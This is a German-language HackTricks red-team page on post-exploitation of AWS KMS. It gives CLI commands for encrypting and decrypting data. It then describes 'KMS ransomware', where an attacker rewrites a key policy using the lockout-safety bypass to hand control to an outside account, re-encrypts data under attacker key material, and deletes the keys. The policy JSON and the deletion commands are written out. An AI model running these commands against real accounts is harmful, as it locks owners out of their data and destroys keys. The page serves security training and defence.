AWS - KMS Post Exploitation

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

KMS

Für weitere Informationen siehe:

AWS - KMS Enum

Informationen verschlüsseln/entschlüsseln

fileb:// und file:// sind URI-Schemata, die in AWS CLI-Befehlen verwendet werden, um den Pfad zu lokalen Dateien anzugeben:

  • fileb://: Liest die Datei im Binärmodus, häufig verwendet für Nicht-Textdateien.
  • file://: Liest die Datei im Textmodus, typischerweise verwendet für einfache Textdateien, Skripte oder JSON, das keine speziellen Kodierungsanforderungen hat.

tip

Beachten Sie, dass die Datei, wenn Sie einige Daten in einer Datei entschlüsseln möchten, die binären Daten enthalten muss, nicht base64-kodierte Daten. (fileb://)

  • Verwendung eines symmetrischen Schlüssels
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Verwendung eines asymmetrischen Schlüssels:
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie der Schlüssel ändern und seinem Konto Zugriff darauf gewähren, während der Zugriff des legitimen Kontos entfernt wird.

Dann können die Benutzer des legitimen Kontos auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, was eine einfache, aber effektive Ransomware über das Konto schafft.

warning

Beachten Sie, dass AWS verwaltete Schlüssel nicht von diesem Angriff betroffen sind, nur vom Kunden verwaltete Schlüssel.

Beachten Sie auch die Notwendigkeit, den Parameter --bypass-policy-lockout-safety-check zu verwenden (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

Beachten Sie, dass Sie, wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren, und dann von diesem externen Konto aus versuchen, eine neue Richtlinie festzulegen, um den Zugriff auf das ursprüngliche Konto zurückzugeben, dies nicht möglich sein wird, da die Put Policy-Aktion nicht von einem anderen Konto aus durchgeführt werden kann.

Generische KMS-Ransomware

Globale KMS-Ransomware

Es gibt einen weiteren Weg, um eine globale KMS-Ransomware durchzuführen, der die folgenden Schritte umfasst:

  • Erstellen Sie einen neuen Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial
  • Re-verschlüsseln Sie ältere Daten, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.
  • Löschen Sie den KMS-Schlüssel
  • Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln

Schlüssel zerstören

bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

Beachten Sie, dass AWS jetzt verhindert, dass die vorherigen Aktionen von einem anderen Konto aus durchgeführt werden:

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks